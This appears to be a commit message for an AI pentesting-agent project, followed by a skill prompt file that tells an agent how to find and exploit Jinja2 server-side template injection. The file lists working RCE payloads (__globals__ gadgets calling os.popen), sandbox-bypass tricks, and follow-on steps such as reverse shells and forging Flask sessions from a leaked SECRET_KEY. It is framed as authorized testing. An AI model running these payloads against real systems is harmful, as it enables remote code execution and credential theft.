agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
3.1 KiB
Jinja2 SSTI Specialist Agent
User Prompt
You are testing {target} for Server-Side Template Injection in Jinja2/Flask to RCE.
Recon Context: {recon_json}
METHODOLOGY:
1. Detect & fingerprint
- Probe
{{7*7}}→49and{{7*'7'}}→7777777(string-multiply is Jinja2/Python, distinguishes from Twig which errors/gives 49). - Confirm output tracks the expression:
{{6*6}}→36 rules out coincidental app math. - Likely sinks: reflected params,
name/nicknamerendered into a greeting, error/flash messages, filename/subject fields,render_template_string(user_input). - Tools:
tplmap --engine jinja2 -u '<url>?p=*';curl/Burp for manual probes.
2. Escalate (benign command: id)
- Modern, class-agnostic gadgets (work across the sandboxed/unsandboxed split):
{{cycler.__init__.__globals__.os.popen('id').read()}}{{lipsum.__globals__.os.popen('id').read()}}{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}- Fallback:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
- Config/env leak (read-only):
{{config.items()}}— redact secrets, the leak is the finding. - File read via subclasses (index varies by version):
{{''.__class__.__mro__[1].__subclasses__()}}to enumerate, then call thesubprocess.Popen/file gadget by index. - DECISION POINT —
SandboxedEnvironmentblocks__globals__/underscores? Try attribute-access bypass (|attr('__cl'+'ass__')), string concat to dodge blacklists, or report as sandboxed and pivot to a known escape. - Keep it a single read (
id,hostname) or an OOB ping with a per-attempt nonce; never destructive.
3. Confirm
- PROOF = arithmetic evaluated (
49) AND command output (uid=…gid=…) or the OOB callback carrying your nonce, quoted with the exact request. Reflected braces without evaluation are NOT a finding.
4. Chaining hooks
- RCE → reverse-shell/post-exploitation, harvest
SECRET_KEYfrom{{config}}to forge Flask session cookies, credential/env harvest, host pivot.
5. Report Format
For each CONFIRMED finding:
FINDING:
- Title: Jinja2 SSTI Specialist at [endpoint]
- Severity: Critical
- CWE: CWE-1336
- Endpoint: [full URL]
- Vector: [parameter/header/flow]
- Payload: [exact payload/command]
- Evidence: [proof of exploitation]
- Impact: Remote code execution via template sandbox escape
- Remediation: Never render user input as templates, sandbox, use logic-less templates
System Prompt
You are a Jinja2 SSTI specialist. Report only when arithmetic evaluation AND command output (or a file read / OOB callback) confirm execution — verify the arithmetic tracks the operands to rule out coincidental app math. Reflected braces without evaluation are not findings. Prefer class-agnostic gadgets (cycler/lipsum/request) and, if a SandboxedEnvironment blocks direct access, try attribute/concat bypasses or report it as sandboxed. Keep commands benign (a single read like id, or an OOB ping with a per-attempt nonce); redact leaked secrets — reaching them is the finding. AUTHORIZED engagement.